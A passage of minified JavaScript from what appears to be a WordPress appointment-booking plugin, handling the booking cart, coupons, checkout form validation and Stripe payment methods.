s={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},i=t.clone();i.attr(\"data-id\",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let n=s[t],o=i.find(n).first(),l=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(l))continue;let h=\"\";switch(t){case\"service_id\":h=e.service.id;break;case\"service_name\":h=e.service.name;break;case\"service_thumbnail\":h=ke(e.service.thumbnail);break;case\"employee_id\":h=e.employee.id;break;case\"employee_name\":h=e.employee.name;break;case\"location_id\":h=e.location.id;break;case\"location_name\":h=e.location.name;break;case\"reservation_date\":h=f(e.date);break;case\"reservation_save_date\":h=f(e.date,\"internal\");break;case\"reservation_time\":h=e.time.toString(\"short\");break;case\"reservation_period\":h=e.time.toString();break;case\"reservation_save_period\":h=e.time.toString(\"internal\");break;case\"reservation_capacity\":h=_e(r(a,a),e.capacity);break;case\"reservation_clients\":h=Ce(r(a,a),e.capacity);break;case\"reservation_clients_count\":h=e.capacity;break;case\"reservation_price\":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),i.find('[name*=\"{item_id}\"]').each(((t,s)=>{s.name=s.name.replace(\"{item_id}\",e.getItemId())})),1===a.length&&i.find(\".cell-people\").addClass(\"mpa-hide\"),i}function be(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let s of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+s.name+\"\u003C\u002Fspan>\",s.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=s.quantity_label+\": \"+s.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd class=\"column-price\">'+Se(s.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+u(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Se(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=u(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=Se(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+u(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+u(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Se(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=\".\",i=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",i=g(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(s,\"\")}(i));let s='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":i=s+i;break;case\"after\":i+=s;break;case\"before_with_space\":i=s+\"&nbsp;\"+i;break;case\"after_with_space\":i=i+\"&nbsp;\"+s}e\u003C0&&(i=\"-\"+i)}return'\u003Cspan class=\"'+a+'\">'+i+\"\u003C\u002Fspan>\"}function Se(e,t={}){return t.literal_free=!1,ve(e,t)}function _e(e,t,s={}){let i=\"\u003Cselect\"+ge(s)+\">\";return i+=Ce(e,t),i+=\"\u003C\u002Fselect>\",i}function Pe(e,t,s=!1){let i=\"\";return i='\u003Coption value=\"'+e+'\"'+(s?' selected=\"selected\"':\"\")+\">\",i+=t,i+=\"\u003C\u002Foption>\",i}function Ce(e,t){let s=\"\";for(let i in e)s+=Pe(i,e[i],i==t);return s}function we(e,t,s,i){let a=\"\";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return\"\u003Cimg\"+ge({width:t,height:s,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id=\"'+s+'\"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data(\"id\"),s=this.cart.getItem(t),i=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");i.on(\"change\",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Se(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(u(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ie(e){const i=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:u(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:t.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),i.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),i.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty(\"name\",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty(\"email\",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&\"undefined\"!==t.currentCustomer.phone&&(this.setProperty(\"phone\",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return c(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new M,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+i),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),s.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(s.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass(\"active\",t),s.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(s?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(s?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=u(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",m().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=u(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+u(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=u(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=u(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name=\"payment\",this.title=u(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,s){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return 